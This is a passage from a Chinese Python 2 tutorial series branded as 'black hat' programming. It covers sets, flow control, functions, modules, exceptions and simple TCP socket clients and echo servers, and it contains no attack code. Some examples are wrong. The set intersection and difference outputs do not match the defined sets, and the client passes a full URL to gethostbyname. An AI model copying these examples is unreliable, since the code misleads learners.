radiansdict.setdefault(key, default=None)和get()类似, 但如果键不存在于字典中，将会添加键并将值设为default

9

radiansdict.update(dict2)把字典dict2的键/值对更新到dict里

10

radiansdict.values()以列表返回字典中的所有值

2.3.6 集合

把不同元素放在一起就组成了集合，集合的成员被称为集合元素。Python的集合和数学的结合在概念和操作上基本相同。Python提供了两种集合：可变集合和不可变集合。

创建集合

我们先看下面创建集合的代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
s1=set('abcdde')
s2=set([1,2,3,4,5])
s3 = frozenset("xuanhun")
 
print type(s1)
print type(s3)
print s2



运行结果如下：

图19

访问集合

由于集合本身是无序的，所以不能为集合创建索引或切片操作，只能循环遍历或使用in、not in来访问或判断集合元素。

接上面的代码，添加一个循环输出集合内容的代码，如下所示。

图20

从上图的结果，我们可以看到集合无序，无重复元素的特性。

更新集合

可使用以下内建方法来更新（只有可变集合才能被更新）：

s.add()
s.update()
s.remove()



下面的代码测试了集合的添加和删除操作：

s2=set([1,2,3,4,5])
print s2
s2.add("j")  
s2.remove(3)
print s2



运行结果如下：

图21

联合(|)

联合(union)操作与集合的OR操作其实等价的，联合符号有个等价的方法，union()。

测试代码如下：

s1=set('abcdde')
s2=set([1,2,3,4,5])
s4=s1|s2
print s4



运行结果如下：

图22

交集(&)

与集合AND等价，交集符号的等价方法是intersection()。

>>> s1&s2
set(['n'])
>>> s1.intersection(s2)
set(['n'])



差集

等价方法是difference()。

>>> s1-s2
set(['i', 'b', 'e', 'g'])
>>> s1.difference(s2)
set(['i', 'b', 'e', 'g'])



2.3.7 小结

基本类型和和基本数据结构我们都介绍完毕了，是时候写点更“复杂”的代码了，下一节给大家介绍基本的条件判断和循环。

第2.4节《流程控制》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

本节视频教程获取方法，请扫描二维码，在菜单“网络安全”——>”Python黑帽编程”中找到对应的本文2.3.7节，有详细方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程2.4  流程控制

本节要介绍的是Python编程中和流程控制有关的关键字和相关内容。

2.4.1 IF …..ELSE

 先上一段代码：

#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
x=int(input('请输入一个整数:'))
if x==0:
    print '%d ==0' % x
elif x<0:
    print '%d <0' % x
else:
    print '%d >0' % x



这段代码使用if，elif和else三个关键字，每一个关键字后面跟一个布尔表达式，以冒号结尾。跟在条件判断语句下面的是子语句，就是我们在此条件下要做的事情。

我将上面的代码保存到ifelse.py运行结果如下：

图2

2.4.2 FOR 语句

Python 中的 for 语句和C中的略有不同。通常的循环可能会由用户来定义迭代步骤和中止条件，Python 的 for 语句依据任意序列（链表或字符串）中的子项，按它们在序列中的顺序来进行迭代。例如：

words = ['cat', 'window', 'defenestrate']
for word in words:
    print(word,len(word))



运行结果如下：

图3

在迭代过程中修改迭代序列不安全（只有在使用链表这样的可变序列时才会有这样的情况）。如果你想要修改你迭代的序列，可以迭代它的副本。使用切割标识就可以很方便的做到这一点:

words = ['cat', 'window', 'defenestrate']
 
for word in words[:]:
    if len(word)>6:
        words.insert(0,word)
print words



上面的代码通过切片操作得到了words的一个拷贝，循环过程中可以修改words列表但是不会对循环造成影响。运行结果如下：

图4

2.4.3  WHILE语句

while和if的区别在于，if如果表达式为true的话会一次执行内部的代码，而while会循环执行，直到表达式为false。例如：

count=0
while(count<9):
    print 'the index is:',count
    count +=1



运行结果如下：

图5

2.4.5 RANGE和XRANGE

使用range函数可以很方便的生成一个等差系列。range函数完整的声明如下：

range(start,end,step =1)

下面我们通过一小段代码看看range的使用方法：

a=range(5)
b=range(2,5)
c=range(2,5,2)
 
print a
print b
for i in c:
    print "value is",i



这段代码示例了三种使用方式：

1)        只有一个参数时，传入值为end，起始值为0，步长为1；

2)        传递两个参数时，传入值为start和end，步长为1；

3)        传递三个参数时，传入值为start，end和步长。

xrange和range使用方法一样，区别有以下两点：

1)        xrange不生成完整的列表，效率更高；

2)        xrange只有在for循环中使用才有意义。

2.4.6 BREAK 、 CONTINUE和PASS

break 语句和 C中的类似，用于跳出最近的一级for或while循环。

循环可以有一个else子句，它在循环迭代完整个列表（对于 for ）或执行条件为 false （对于while ）时执行，但循环被 break 中止的情况下不会执行。

例如下面的代码：

for n in range(2, 10):
    for x in range(2, n):
        if n % x == 0:
            print(n, 'equals', x, '*', n//x)
            break
    else:
        print(n, 'is a prime number')



上面的代码循环一个包含从2到9的一个系列，内部的循环实际是判断该数是不是素数。if语句如果为true的话证明找到了除2和本身以外的分解因子，证明这个数不是素数，接着会执行break，此时会跳出当前循环，因为有了break语句，和当前for循环对应的else语句也不会执行。在相反的情况下，如果是素数，当前循环会执行完毕，else子句会执行。结果如下：

图6

continue 语句是从 C 中借鉴来的，它表示循环继续执行下一次迭代，如下所示:

for num in range(2,10):
    if(num %2 ==0):
        continue
    print num



这是一段输出奇数的代码，结果如下：

图7

pass 语句什么也不做，相当于汇编的nop指令。它用于那些语法上必须要有什么语句，但程序什么也不做的场合。通常我们使用pass语句来进行占位，比如规划程序功能和结构的时候，我们想好要定义哪些类，哪些方法，但是还没有具体实现的时候。比如：

def funcname(parameter_list):
    pass
 
class classname(object):
    pass
 
if a==0:
    pass
else:
    pass



2.4.7 小结

流程控制的内容，就到此为止，下一节介绍函数。

第2.5节《函数》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

本节视频教程获取方法，请扫描二维码，在菜单“网络安全”——>”Python黑帽编程”中找到对应的本文2.2.7节，有详细方法。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

关注之后，回复请回复“Python”，获取更多内容。


Python黑帽编程2.5 函数

写了几节的基础知识，真心感觉有点力不从心。这块的内容说实话，看文档是最好的方式，本人的写作水平，真的是找不出更好的写法，头疼。简单带过和没写一样，写详细了和本系列教程又不搭。思考再三，最后还是决定简明扼要为主，我们把主要的精力投入到核心内容。更详细的资料留给各位同学自行搜索补充和阅读相关书籍和文档。

2.5.1 什么是函数

函数是可复用的代码块。它们允许你给一块代码一个名称，然后你可以在你的程序的任何地方使用这个名称任意多次地运行这个代码块，这个过程称之为函数调用。

虽然才正式接触函数的概念，但是我们已经调用过很多次函数了，比如print。

下面我们来了解下函数的定义。

2.5.2 函数定义

函数通过def关键字定义。def关键字后跟一个函数的 标识符 名称，然后跟一对圆括号。圆括号之中可以包括一些变量名，该行以冒号结尾。接下来是一块语句，它们是函数体。下面是一个简单的示例：

#!/usr/bin/python

def sayHello():
    print 'Hello World!' 
sayHello() 



我们使用def关键字定义了一个称为sayHello的函数。这个函数不使用任何参数，因此在圆括号中没有声明任何变量。函数体调用了print函数打印字符串。最后通过函数名加括号的方式类调用函数。运行结果如下：

图2

那么如何定义和调用带参数的函数呢？

2.5.3 函数形参

从黑盒的角度看函数，盒子有两个管道，一个是输入，一个是输出，盒子内部是函数体。输出是返回值，输入就是函数的参数。

参数在函数定义的圆括号对内指定，用逗号分割。当我们调用函数的时候，我们以同样的方式提供值。注意我们使用过的术语——函数中的参数名称为 形参 而你提供给函数调用的值称为 实参 。

看下面的示例：

def printMax(a, b):
    if a > b:
        print a, 'is maximum'
    else:
        print b, 'is maximum'
printMax(3, 4)
 
x = 5
y = 7
 
printMax(x, y)



这里，我们定义了一个称为printMax的函数，这个函数需要两个形参，叫做a和b。我们使用if..else语句找出两者之中较大的一个数，并且打印较大的那个数。

在第一个printMax调用中，我们直接把数，即实参，提供给函数。在第二个使用中，我们使用变量调用函数。printMax(x, y)使实参x的值赋给形参a，实参y的值赋给形参b。在两次调用中，printMax函数的工作完全相同。

运行结果如下：

图3

2.5.4 局部变量

当你在函数定义内声明变量的时候，它们与函数外具有相同名称的其他变量没有任何关系，即变量名称对于函数来说是 局部 的。这称为变量的 作用域 。所有变量的作用域是它们被定义的块，从它们的名称被定义的那点开始。

例如：

#!/usr/bin/python
 
def func(x):
    print 'x is', x
    x = 2
    print 'Changed local x to', x
 
x = 50
func(x)
print 'x is still', x



在上面这段代码中，首先函数定义了形参x，相当于函数的局部变量。在函数调用的时候，传入了外部x，外部x值为50。在函数内部将x值改为2，改变的是局部变量x，外部x不受影响，从最后的输出结果可以验证。

图4

如果你想要为一个定义在函数外的变量赋值，那么你就得告诉Python这个变量名不是局部的，而是 全局 的。我们使用global语句完成这一功能。没有global语句，是不可能为定义在函数外的变量赋值的。

例如：

#!/usr/bin/python
 
 
def func():
    global x
 
    print 'x is', x
    x = 2
    print 'Changed local x to', x
 
x = 50
func()
print 'Value of x is', x



global语句被用来声明x是全局的——因此，当我们在函数内把值赋给x的时候，这个变化也反映在我们在主块中使用x的值的时候。

运行结果如下：

图5

2.5.5 默认参数值

对于一些函数，你可能希望它的一些参数是 可选 的，如果用户不想要为这些参数提供值的话，这些参数就使用默认值。这个功能借助于默认参数值完成。你可以在函数定义的形参名后加上赋值运算符（=）和默认值，从而给形参指定默认参数值。

例如：

#!/usr/bin/python
 
def say(message, times = 1):
    print message * times
 
say('Hello')
say('World', 5)



名为say的函数用来打印一个字符串任意所需的次数。如果我们不提供一个值，那么默认地，字符串将只被打印一遍。我们通过给形参times指定默认参数值1来实现这一功能。

在第一次使用say的时候，我们只提供一个字符串，函数只打印一次字符串。在第二次使用say的时候，我们提供了字符串和参数5，表明我们想要打印这个字符串消息5遍。

运行结果如下：

图6

只有在形参表末尾的那些参数可以有默认参数值，即你不能在声明函数形参的时候，先声明有默认值的形参而后声明没有默认值的形参。

这是因为赋给形参的值是根据位置而赋值的。例如，

def func(a, b=5)



是有效的，但是

def func(a=5, b)



是 无效 的。

2.5.6 关键字传参

如果你的某个函数有许多参数，而你只想指定其中的一部分，那么你可以通过命名来为这些参数赋值——这被称作 关键参数 ——我们使用名字（关键字）而不是位置（我们前面所一直使用的方法）来给函数指定实参。

这样做有两个优势：

一、由于我们不必担心参数的顺序，使用函数变得更加简单了。

二、假设其他参数都有默认值，我们可以只给我们想要的那些参数赋值。

例如：

#!/usr/bin/python
 
def func(a, b=5, c=10):
    print 'a is', a, 'and b is', b, 'and c is', c
 
func(3, 7)
func(25, c=24)
func(c=50, a=100)



在上面的代码中，名为func的函数有一个没有默认值的参数，和两个有默认值的参数。在第一次使用函数的时候， func(3, 7)，参数a得到值3，参数b得到值7，而参数c使用默认值10。在第二次使用函数func(25, c=24)的时候，根据实参的位置变量a得到值25。根据命名，即关键参数，参数c得到值24。变量b根据默认值，为5。在第三次使用func(c=50, a=100)的时候，我们使用关键参数来完全指定参数值。注意，尽管函数定义中，a在c之前定义，我们仍然可以在a之前指定参数c的值。

运行结果如下：

图7

2.5.7 RETURN

return语句用来从一个函数返回，即跳出函数。我们也可选从函数返回一个值。

例如：

#!/usr/bin/python
 
def maximum(x, y):
    if x > y:
        return x
    else:
        return y
 
print maximum(2, 3)



在上面的代码中，maximum函数返回参数中的最大值，在这里是提供给函数的数。它使用简单的if..else语句来找出较大的值，然后返回那个值。

运行结果如下：

图8

注意，没有返回值的return语句等价于return None。None是Python中表示没有任何东西的特殊类型。例如，如果一个变量的值为None，可以表示它没有值。

除非你提供你自己的return语句，每个函数都在结尾暗含有return None语句。通过运行print someFunction()，你可以明白这一点，函数someFunction没有使用return语句，如：

def someFunction():
    pass
print someFunction()



运行结果如下：

图9

2.5.8 DOCSTRINGS

Python有一个很奇妙的特性，称为 文档字符串 ，它通常被简称为 docstrings 。DocStrings是一个重要的工具，由于它帮助你的程序文档更加简单易懂，你应该尽量使用它。

先看下面的例子，之后在做解释:

#!/usr/bin/python
 
def printMax(x, y):
    '''Prints the maximum of two numbers.
 
    The two values must be integers.'''
    x = int(x) # convert to integers, if possible
    y = int(y)
 
    if x > y:
        print x, 'is maximum'
    else:
        print y, 'is maximum'
 
printMax(3, 5)
print printMax.__doc__



在上面的代码中，在函数的第一个逻辑行的字符串是这个函数的文档字符串 。文档字符串的惯例是一个多行字符串，它的首行以大写字母开始，句号结尾。第二行是空行，从第三行开始是详细的描述。 强烈建议你在你的函数中使用文档字符串时遵循这个惯例。你可以使用__doc__（注意双下划线）调用printMax函数的文档字符串属性（属于函数的名称）。请记住Python把 每一样东西 都作为对象，包括这个函数。

代码运行结果如下：

图10

如果你已经在Python中使用过help()，那么你已经看到过DocStings的使用了！它所做的只是抓取函数的__doc__属性，然后整洁地展示给你。

自动化工具也可以以同样的方式从你的程序中提取文档。因此，我强烈建议 你对你所写的任何正式函数编写文档字符串。

2.5.9 小结

函数有关的关键内容都已经解释完毕了，下一节为大家介绍模块。

第2.6节《模块》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

· 点击打开二维码
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我们已经学习了如何在你的程序中定义一次函数而重用代码。如果你想要在其他程序中重用很多函数，那么你该如何编写程序呢？你可能已经猜到了，答案是使用模块。模块基本上就是一个包含了所有你定义的函数和变量的文件。为了在其他程序中重用模块，模块的文件名必须以.py为扩展名。

模块可以从其他程序 导入以便利用它的功能。这也是我们使用Python标准库的方法。首先，我们将学习如何使用标准库模块。

2.6.1  调用SYS模块

先上代码：

#!/usr/bin/python
 
import sys
 
print 'The command line arguments are:'
for i in sys.argv:
    print i
 
print '\n\nThe PYTHONPATH is', sys.path, '\n'



首先，我们利用import语句导入sys模块。sys模块包含了与Python解释器和它的环境有关的函数。

当Python执行import sys语句的时候，它在sys.path变量中所列目录中寻找sys.py模块。如果找到了这个文件，这个模块的主块中的语句将被运行，然后这个模块将能够被你使用。注意，初始化过程仅在我们第一次输入模块的时候进行。

sys.argv变量是一个字符串的列表，包含了命令行参数的列表。

sys.path包含输入模块的目录名列表。我们可以观察到sys.path的第一个字符串是空的——这个空的字符串表示当前目录也是sys.path的一部分，这与PYTHONPATH环境变量是相同的。这意味着你可以直接输入位于当前目录的模块。否则，你得把你的模块放在sys.path所列的目录之一。

下面我们保存这段代码为module_sys.py，从终端使用python来运行，并输入参数“test argument”，如下图所示：

图2

2.6.2 FROM..IMPORT语句

上面的示例中我们通过sys.argv的方式来获取argv变量中的内容，那如果我们想直接调用argv，就可以获取变量内容或进行方法调用，该如何做呢？

可以使用

from sys import argv



语句。

还有一种更简单的方法

from sys import *



导入sys模块中所有可用的变量或方法。

一般说来，应该避免使用from..import而使用import语句，因为这样可以使你的程序更加易读，也可以避免名称的冲突。

2.6.3 __NAME__

每个模块都有一个名称，在模块中可以通过语句来找出模块的名称。前面说过，当一个模块被第一次导入的时候，这个模块的主块将被运行。假如我们只想在程序本身被使用的时候运行主块，而在它被别的模块输入的时候不运行主块，我们该怎么做呢？这可以通过模块的__name__属性完成。

#!/usr/bin/python
 
if __name__ == '__main__':
    print 'This program is being run by itself'
else:
    print 'I am being imported from another module'



每个Python模块都有它的__name__，如果它是'__main__'，这说明这个模块被用户单独运行，我们可以进行相应的恰当操作。

我们直接运行该脚本，运行结果如下：

图3

2.6.4  创建模块

创建你自己的模块是十分简单的，你一直在这样做！每个以.py结尾的文件都是一个模块。

下面我们先创建一个myModule.py的文件，内容如下：

#!/usr/bin/python
def sayhi():
    print 'Hi, this is mymodule speaking.'
version = '0.1'



从上面的代码可以看到，它与我们普通的Python程序相比并没有什么特别之处。我们接下来将看看如何在我们别的Python程序中使用这个模块。

这个模块应该被放置在我们导入它的程序的同一个目录中，或者在sys.path所列目录之一。

测试代码如下：

#!/usr/bin/python
 
import mymodule
 
mymodule.sayhi()
print 'Version', mymodule.version



运行结果如下：

图4

2.6.5 DIR()函数

我们可以使用内建的dir函数来列出模块定义的标识符。标识符有函数、类和变量。当为dir()提供一个模块名的时候，它返回模块定义的名称列表。如果不提供参数，它返回当前模块中定义的名称列表。

先看下面的代码：

#!/usr/bin/python
 
import sys
 
print dir(sys)
 
a=5
print dir()
del a
print dir()



首先，我们来看一下在输入的sys模块上使用dir。我们看到它包含一个庞大的属性列表。如下图：

图5

接下来，我们不给dir函数传递参数，默认地，它返回当前模块的属性列表。

为了观察dir的作用，我们定义一个新的变量a并且给它赋一个值，然后检验dir，我们观察到在列表中增加了以上相同的值。我们使用del语句删除当前模块中的变量/属性，这个变化再一次反映在dir的输出中。结果如下：

图6

2.5.9 小结

模块的用处在于它能为你在别的程序中重用它提供的服务和功能。Python附带的标准库就是这样一组模块的例子。我们已经学习了如何使用这些模块以及如何创造我们自己的模块。

下一节我们学习异常处理。

第2.7节《异常处理》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

由于教程仍在创作过程中，在整套教程完结前，感兴趣的同学请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

 · 点击打开二维码
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Python黑帽编程2.7 异常处理

异常是个很宽泛的概念，如果程序没有按预想的执行，都可以说是异常了。遇到一些特殊情况没处理会引发异常，比如读文件的时候文件不存在，网络连接超时。程序本身的错误也可以算作异常，比如把字符串当整数来处理，拼写错误。

不论是系统还是框架，都会对基本异常进行分类，比如IO异常，内存溢出等等。很多时候，针对特有的业务，我们也可以自定异常。

下面我们先看一个引发异常的例子：

Print 'hello'



这个例子很简单，我们将print的首字母大写。这会引发一个错误：

图2

我们可以观察到有一个SyntaxError被引发，并且检测到的错误位置也被打印了出来。捕获错误，打印错误信息，这本身就是一种异常处理。那么我们如何在代码中处理异常呢？

2.7.1 TRY ….EXCEPT

例如我们用如下代码去打开文件：

open('abc.txt','r')



但是要打开的文件并不存在，这个时候程序就会抛出异常，如下图所示：

图3

我们看到抛出的错误为 IOError，那么我们可以使用如下的代码来处理这个异常。

try:
    open('abc.txt','r')
except IOError,msg:
    print msg



运行结果如下：

图4

我们把所有可能引发错误的语句放在try块中，然后在except从句中处理所有的错误和异常。except从句可以专门处理单一的错误或异常，或者一组包括在圆括号内的错误/异常。如果没有给出错误或异常的名称，它会处理 所有的 错误和异常。对于每个try从句，至少都有一个相关联的except从句。

例如：

try:
    open('abc.txt','r')
except IOError,msg:
    print msg
except:
    print 'other erro'



如果某个错误或异常没有被处理，默认的Python处理器就会被调用。它会终止程序的运行，并且打印一个消息，我们已经看到了这样的处理。

2.7.2 抛出异常

我们可以使用raise语句 引发 异常。你还得指明错误/异常的名称和伴随异常 触发的 异常对象。我们可以引发的错误或异常应该分别是一个Error或Exception类的直接或间接导出类。

我们先看示例代码：

#!/usr/bin/python
 
 
class ShortInputException(Exception):
    '''A user-defined exception class.'''
    def __init__(self, length, atleast):
        Exception.__init__(self)
        self.length = length
        self.atleast = atleast
 
try:
    s = raw_input('Enter something --> ')
    if len(s) < 3:
        raise ShortInputException(len(s), 3)
    # Other work can continue as usual here
except EOFError:
    print '\nWhy did you do an EOF on me?'
except ShortInputException, x:
    print 'ShortInputException: The input was of length %d, \
          was expecting at least %d' % (x.length, x.atleast)
else:
    print 'No exception was raised.'



这段代码中我们首先自定义了一个ShortInputException类，它继承自Exception类，构造函数接受两个参数输入字符串的长度和最小长度。接下来代码中，我们获取用户输入，判断长度是否小于3，如果小于3触发ShortInputException。我们从终端启动这个脚本，运行结果如下：

图5

2.7.3 TRY..FINALLY

当我们需要不管是否有异常，都要执行某段代码的时候，就需要finally出场了。看下面的示例：

def test1():
   try:
      print('to do stuff')
      raise Exception('hehe')
      print('to return in try')
      return 'try'
   except Exception:
      print('process except')
      print('to return in except')
      return 'except'
   finally:
      print('to return in finally')
      return 'finally'
 
test1Return = test1()
print('test1Return : ' + test1Return)



在 try 中 raise一个异常，就立刻转入 except 中执行，在except 中遇到 return 时，就强制转到 finally 中执行， 在 finally 中遇到 return 时就返回。运行结果如下：

图6

2.7.9 小结

本节我们学习了Python中基本的异常处理，和自定义异常的方法。

下一节我们学习套接字编程。

第2.7节《套接字编程》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），我会第一时间在订阅号推送图文教程和视频教程。内有惊喜。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码
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Python黑帽编程2.8 套接字编程

套接字编程在本系列教程中地位并不是很突出，但是我们观察网络应用，绝大多数都是基于Socket来做的，哪怕是绝大多数的木马程序也是如此。官方关于socket编程的文档地址为https://docs.python.org/2/library/socket.html，我承认我看起来都很费劲。

套接字为BSD UNIX系统核心的一部分，而且他们也被许多其他类似UNIX的操作系统包括Linux所采纳。许多非BSD UNIX系统（如ms-dos，windows，os/2，mac os及大部分主机环境）都以库形式提供对套接字的支持。

三种最流行的套接字类型是:stream,datagram和raw。stream和datagram套接字可以直接与TCP协议进行接口，而raw套接字则接口到IP协议。但套接字并不限于TCP/IP。

Python 提供了两个基本的套接字模块：

l  第一个是 socket，它提供了标准的 BSD Sockets API。

l  第二个是 socketServer， 它提供了服务器中心类，可以简化网络服务器的开发。

本节课程主要关注socket模块的使用。

2.8.1 SOCKET函数

socket函数用来创建socket对象，使用前需要导入socket模块。我们先看一下socket函数的使用方式：

socket.socket([family[, type[, proto]]])



我们看到socket函数接收三个参数，下面分别介绍：

family——套接字对象使用的地址族，可选值：AF_INET——IPv4地址族，AF_INET6——IPv6地址族，AF_UNIX——针对类UNIX系统的套接字，如图2所示。

图2

type可选参数如图3所示。

图3

proto是协议数，默认是0，通常不需要关心该参数。

熟悉了三个参数的含义，创建一个TCP或者UDP的socket对象就很容易了。

创建TCP Socket：

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



创建UDP Socket：

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)



关于socket对象的各种方法的使用说明，大家可以去查官方文档，我这里就不贴了，下面我们边实践，边学习。

2.8.2 创建SOCKET

我们首先来创建一个TCP的socket对象，代码如下：

#Socket client example in python
import socket   #for sockets
 
#create an AF_INET, STREAM socket (TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket Created'



创建一个socket对象很简单，第一步导入socket模块，第二步使用socket.socket方法创建一个socket对象，参数在2.8.1节已经做了说明。运行结果如下：

图4

2.8.3 客户端编程

创建socket之后，现在我们看看如何创建client端，连接一个服务端，这里我们选择知乎（http://www.zhihu.com）。socket类有个gethostbyname方法，可以用来把域名转换为ip地址，例如：

import socket   #for sockets
import sys  #for exit
 
try:
    #create an AF_INET, STREAM socket (TCP)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
    print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
    sys.exit();
 
print 'Socket Created'
 
host = 'http://www.zhihu.com'
 
try:
    remote_ip = socket.gethostbyname( host )
except socket.gaierror:
    #could not resolve
    print 'Hostname could not be resolved. Exiting'
    sys.exit()
    
print 'Ip address of ' + host + ' is ' + remote_ip



上面的代码，我们首先导入了sys模块，用于在出现异常的情况下调用sys.exit()退出。同时，完善了异常捕获，创建socket可能会引发socket.error异常，gethostbyname方法可能会引发socket.gaierror异常，我们在编程过程中要注意这些错误。

运行结果如下：

图5

现在我们获得了ip，端口我们使用80，现在可以连接服务器了。

import socket   #for sockets
import sys  #for exit
 
try:
    #create an AF_INET, STREAM socket (TCP)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
    print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
    sys.exit();
 
print 'Socket Created'
 
host = 'http://www.zhihu.com'
port = 80
 
try:
    remote_ip = socket.gethostbyname( host )
 
except socket.gaierror:
    #could not resolve
    print 'Hostname could not be resolved. Exiting'
    sys.exit()
    
print 'Ip address of ' + host + ' is ' + remote_ip
 
#Connect to remote server
s.connect((remote_ip , port))
 
print 'Socket Connected to ' + host + ' on ip ' + remote_ip



注意上面加粗的代码，使用socket.connect方法连接服务端，参数为ip地址和端口。

连接上服务器之后，现在可以向服务器发送信息了。

我们在上面代码的基础上，添加下面的代码：

#Send some data to remote server
message = "GET / HTTP/1.1\r\n\r\n"
 
try :
    #Set the whole string
    s.sendall(message)
except socket.error:
    #Send failed
    print 'Send failed'
    sys.exit()
 
print 'Message send successfully'



首先定义了要发送的信息，准备发送一个http协议的get请求。随后我们使用socket.sendall方法发送信息。信息发送之后，如果没有异常产生，应该会得到知乎服务器的响应内容。那么如何接收信息呢？继续添加如下代码：

#Now receive data
reply = s.recv(4096)
 
print reply



我们使用socket.recv方法来接收数据，参数是接收的数据长度。现在我们来看一下运行结果：

图6

最后，接收完数据之后，不要忘了关闭socket：

s.close()



现在我们来总结下客户端socket编程的基本流程：

1.      创建套接字

2.      连接服务端

3.      发送数据

4.      接收数据

5.      关闭连接

下面看一下，一个基本的服务端，要做哪些工作。

2.8.4 服务端编程

和客户端编程类似，我们首先创建一个socket对象。

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



随后，我们要把socket绑定到本机的IP和端口上。

try:
    s.bind((HOST, PORT))
except socket.error , msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]



绑定ip和端口使用的是bind方法。

服务端不会主动连接其他主机，而是等待客户端连接，这需要进入监听状态。

s.listen(10)
print 'Socket now listening'



listen方法接收一个参数，用来指定可以同时挂起的连接数。

监听模式之后，如果有客户端连接进来，如何接收连接呢？需要使用accept方法。

#wait to accept a connection - blocking call
conn, addr =s.accept()



accept方法会返回一个代表当前链接的connection对象和客户端的ip地址。接下来就可以使用conn对象来接收和发送数据了，关闭连接也使用conn对象。

data = conn.recv(1024)
conn.sendall(data)
 
conn.close()



下面我们看一下服务端的完整代码：

import socket
import sys
 
HOST = ''   # Symbolic name meaning all available interfaces
PORT = 8888 # Arbitrary non-privileged port
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
 
try:
    s.bind((HOST, PORT))
except socket.error , msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
    
print 'Socket bind complete'
 
s.listen(10)
print 'Socket now listening'
#wait to accept a connection - blocking call
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
 
#now keep talking with the client
data = conn.recv(1024)
conn.sendall(data)
 
conn.close()
s.close()



将代码保存为socket_server.py，从终端启动，如下图：

图7

然后再启动一个终端，使用telnet连接。

图8

此时可以看到服务端打印了连接的客户端，接下来咋telnet终端输入字符，回车发送过去。结果如图7。

图9

从图7可以看到telnet终端显示了服务端返回的信息。

2.8.5 改进服务端

作为服务端，只能接收一次连接，和客户端进行有限次数的交互是不行的，要一直能接收来自客户端的连接，下面我们改进服务端。

import socket
import sys
 
HOST = ''   # Symbolic name meaning all available interfaces
PORT = 5000 # Arbitrary non-privileged port
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
 
try:
    s.bind((HOST, PORT))
except socket.error , msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
    
print 'Socket bind complete'
 
s.listen(10)
print 'Socket now listening'
 
#now keep talking with the client
while 1:
    #wait to accept a connection - blocking call
    conn, addr = s.accept()
    print 'Connected with ' + addr[0] + ':' + str(addr[1])
    
    data = conn.recv(1024)
    reply = 'OK...' + data
    if not data:
        break
    
    conn.sendall(reply)
 
conn.close()
s.close()



修改后的代码只是将接收客户端连接的代码放到一个while true循环里，这样就可以不停的接收连接。保存上面的代码，在终端打开等待连接，然后启动三个终端使用telnet进行连接，结果如下：

图10

这样改起来，可以不停的接收新的连接了，但是每次只能接收一个连接，有新连接的时候，旧连接就会断掉，还是不够完美。想要分别对待每一个新入的连接，需要多线程登场了。

import socket
import sys
from thread import *
 
HOST = ''   # Symbolic name meaning all available interfaces
PORT = 8888 # Arbitrary non-privileged port
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
 
#Bind socket to local host and port
try:
    s.bind((HOST, PORT))
except socket.error , msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()
    
print 'Socket bind complete'
 
#Start listening on socket
s.listen(10)
print 'Socket now listening'
 
#Function for handling connections. This will be used to create threads
def clientthread(conn):
    #Sending message to connected client
    conn.send('Welcome to the server. Type something and hit enter\n') #send only takes string
    
    #infinite loop so that function do not terminate and thread do not end.
    while True:
        
        #Receiving from client
        data = conn.recv(1024)
        reply = 'OK...' + data
        if not data:
            break
    
        conn.sendall(reply)
    
    #came out of loop
    conn.close()
 
#now keep talking with the client
while 1:
    #wait to accept a connection - blocking call
    conn, addr = s.accept()
    print 'Connected with ' + addr[0] + ':' + str(addr[1])
    
    #start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.
    start_new_thread(clientthread ,(conn,))
 
s.close()



使用多线程，首先要导入thread模块。随后我们定义了一个名为clientthread的方法，该方法接收每个客户端连接对象，在内部启动一个新的while循环，这样可以保证客户端和服务端可以一直连接，反复通信。在外层，仍然保留while循环，每次有客户端连接的时候，生成一个连接对象conn，然后使用thread模块的start_new_thread方法启动一个新的线程，新线程调用clientthread方法，传入刚接收的客户端连接对象。

